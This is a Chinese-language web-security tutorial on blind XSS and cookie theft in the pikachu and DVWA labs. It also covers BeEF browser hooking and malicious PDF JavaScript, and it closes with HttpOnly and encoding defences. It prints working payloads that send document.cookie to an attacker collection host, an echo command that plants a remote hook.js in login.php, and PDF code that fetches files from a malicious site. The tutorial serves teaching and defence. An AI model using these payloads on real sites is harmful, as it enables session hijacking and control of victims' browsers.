XSS盲打与cookie劫持

最新推荐文章于 2025-06-02 15:27:06 发布

原创最新推荐文章于 2025-06-02 15:27:06 发布 · 1.4k 阅读

22 ·

CC 4.0 BY-SA版权

文章标签：

#服务器 #网络安全 #web安全 #安全 #xss

web渗透专栏收录该内容

23 篇文章

订阅专栏

【学习目标、重难点知识】

【学习目标】

XSS盲打

XSS收集平台

BeFF框架的使用

在线XSS收集平台的使用

【重难点知识】

XSS收集平台的使用

在线XSS收集平台的使用

XSS盲打（加载远程攻击payload）

盲打的意思就是指：在看不见XSS内容提交后的输出的情况下，强制把xss脚本提交上去。此种情况多出现在留言板，问题反馈等可以在后台查看的情况下，当我们的管理员或客服打开网页的时候，就此中招。

以pikachu的xss盲打为例子，在留言的时候，如留下的是XSS的代码，这些代码窃取了会话session，而后台如果没有对这些xss代码进行过滤，问题就此产生。

XSS后台很多，也很好用，包括xssme pkxss 等等。我们可以在pikachu靶场里看到有xss的集成平台。

XSS偷cookie

前期准备

被攻击者网站：http://pikachu/

黑客部署的网站：http://pkxss/

利用过程

获取cookie信息文件在哪：http://pkxss/xcookie/cookie.php

- cookie.php，需要get将cookie内容传过来

- 所以要让受害者去访问http://pkxss/xcookie/cookie.php?cookie=1231321

如何让受害者去访问？
让受害者执行我们的JS代码
如何让受害者执行？
找xss漏洞，将代码插入到目标网站

<script>document.location='http://pkxss/xcookie/cookie.php?cookie=cookie'%2bdocument.cookie</script>			//注意，符号+，要改成%2b

受害者执行完之后，会重定向到我们设置的安全网站

这个时候受害者执行js代码之后，就会将cookie，发送到目标服务器上，目标服务器用cookie.php接收cookie信息

注意，cookie.php中重定向网站要自己修改，改成目标自己的站点

cookie收集

重定向到另一个可信网址让点击者不知情。

注意这个地方这个cookie.php的文件位置，我们要访问这个收集cookie的文件路径应该是：

http://主机地址/pkxss/xcookie/cookie.php

我们可以构建一个偷cookie的payload：

<script> document.location = 'http://主机地址/pkxss/xcookie/cookie.php?cookie='+document.cookie; </script>

接下来在反射性XSS中试一试：

获得的结果：

可以get反射型XSS构建一个欺骗用户点击的链接：

http://localhost:8089/vul/xss/xss_reflected_get.php?message=<img src=x onerror="document.location = 'http://主机地址/pkxss/xcookie/cookie.php?cookie='+document.cookie;">&submit=submit

注意：+会被过滤，用%2B来替换

http://localhost:8089/vul/xss/xss_reflected_get.php?message=<img src=x onerror="document.location = 'http://主机地址/pkxss/xcookie/cookie.php?cookie='%2Bdocument.cookie;">&submit=submit

访问之后：

在线XSS收集平台的使用

1. BeeF框架的使用

BeeF简介

BeeF，全称The Browser Exploitation Framework，是一款针对浏览器的渗透测试工具。用Ruby语言开发的，Kali中默认安装的一个模块，用于实现对XSS漏洞的攻击和利用。

BeeF主要是往网页中插入一段名为hook.js的JS脚本代码，如果浏览器访问了有hook.js(钩子)的页面，就会被hook(勾住)，勾连的浏览器会执行初始代码返回一些信息，接着目标主机会每隔一段时间（默认为1秒）就会向BeEF服务器发送一个请求，询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用，被分为前端和后端。前端会轮询后端是否有新的数据需要更新，同时前端也可以向后端发送指示， BeeF持有者可以通过浏览器来登录 BeEF 的后端，来控制前端(用户的浏览器)。BeEF一般和XSS漏洞结合使用。

安装和使用

安装教程：https://www.cnblogs.com/xfbk/p/17936987

我们主要在docker中去使用，安装完docker并启动后，我们搜索BeeF框架的镜像：

然后拉取下来：

然后直接启动docker:

docker run -d --name beef -p 3000:3000 janes/beef

现在，我们通过浏览器打开BeEF的界面：

http://xxx.xxx.xxx.xxx:3000/ui/authentication 默认账号密码：beef/beef

此时，我们已经进入了BeEF页面里面，但是发现什么都没有。最后我们要设置一个钩子，将下面这段代码保存为beef.html：

<html> 
  <head>    
    <title>BeEF测试</title> 
  </head> 
  <body>    
    <script src="http://192.168.119.129:3000/hook.js"></script>

  </body> 
</html>

这是一个最简单的例子，<script>标签的src属性指向的是BeEF的钩子，其中里面的地址大家根据自己实际情况更改。也可以直接将这个路径贴到浏览器中，看看这个JS代码。

接下来访问这个文件，就可以看到主机上线：

这就类似一个远控木马，别人点击了你的链接就能操控他的浏览器了，还能执行很多命令，命令菜单不多，大家都点点看看吧。

XSS 一些实战应用

1. XSS PDF

首先我们需要制作一个恶意的 pdf 文件，大多有三种方式：

- 迅捷 PDF 编辑器（推荐）

- Adobe Acrobat DC

- Python 脚本嵌入

这里使用迅捷 PDF 编辑器，新建空白页面：

然后选中缩略图，点击属性，此时在右侧可以看到属性栏：

新增运行 JavaScript：

在弹出的 JavaScript 编辑器对话框中输入以下代码，然后保存文件：

app.alert("恶意代码");通过弹出恶意警告框来干扰用户或欺骗用户。

this.exportDataObject({ cName: "恶意文件", nLaunch: 2, cDIPath: "http://恶意网站/恶意文件" });通过导出数据对象来触发恶意文件的下载或执行。

this.submitForm({ cURL: "http://恶意网站/恶意脚本" });通过提交表单来触发恶意脚本的执行。

注：之所以不是 alert('xss')，这是因为Adobe支持自身的 JavaScript 对象模型，利用 JavaScript 进行攻击时只能使用 Adobe 所支持的功能。

现在恶意文件已经制作完成，使用浏览器打开：

但也不是所有浏览器都会弹：

- Chrome（弹）

- Edge（弹）

- QQ（弹）

- Firefox（不弹）

- IE（不弹）

同时还有一些支持在线预览的网盘也会出现此类问题：https://catbox.moe/

同样的 PDF 内的 JS 是被大幅阉割过的，不存在能够获取 cookie 等问题。

2. 公网投毒

在站点中嵌入 xss 代码，每个访问者都将进行回连（供应链攻击）。

公网自建站点（DVWA + BeEF）：

docker run -itd -p 81:80 --name dvwa citizenstig/dvwa:latest

在 login.php 处添加代码：

docker exec -it dvwa /bin/bash
echo '<script src="http://10.10.8.21:3000/hook.js"></script>' >> /var/www/html/login.php

查看结果：

root@e7e481b84bad:/# tail -n 1 /var/www/html/login.php
<script src="http://10.10.8.21:3000/hook.js"></script>

当我们访问 DVWA 登录页面时，BeEF 就已经上线了：

3. 网站挂马

对方访问站点后直接造成权限获取，一般都是利用浏览器漏洞（0 day），常用漏洞有：

- ms14-064（CVE-2014-6332）

- CVE-2018-8174

- CVE-2019-1367

- CVE-2021-21220

- CVE-2023-4863

参考页面：

CVE-2021-21220（Chrome）漏洞复现 | Yongz丶

XSS防御

HttpOnly

HttpOnly 最早由微软提出，浏览器将禁止页面的JavaScript访问HttpOnly属性的Cookie。HTTPOnly 并未要对抗XSS，HTTPOnly 解决的是XSS后的Cookie劫持攻击。在使用了HTTPOnly之后，会使这种攻击失效。

使用了HttpOnly之后就没有办法偷取cookie了。

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");


Set-Cookie : uid=112; Path=/; HttpOnly



cookie:

输入检查

常见的web漏洞都要求攻击者构造一些特殊字符，这些特殊字符可能是常规用户不会用到的，所以输入检查就很有必要了。在XSS防御上一般就是检查用户输入数据中是否包含一些特殊字符，如<、>、"、' 如果发现这些特殊字符将这些关键字符过滤或者编码。

比较智能的检查还可以匹配XSS 的特征，比如查找用户数据中是否包含了

输出检查

除了富文本的输出之外，在变量输出到HTML页面时，可以使用编码或者转义的方式来防御XSS攻击。

HTML代码的编码方式是HtmlEncode。

PHP中有htmlentities()和htmlspecialchares() 这两个函数可以满足安全要求

Javascript 可以使用JavascriptEncode。

在Django自带的模板系统中，可以使用escape进行htmlencode，并且在Django 1.0中默认所有变量都会被escape。

web2py中，也默认escape了所有变量。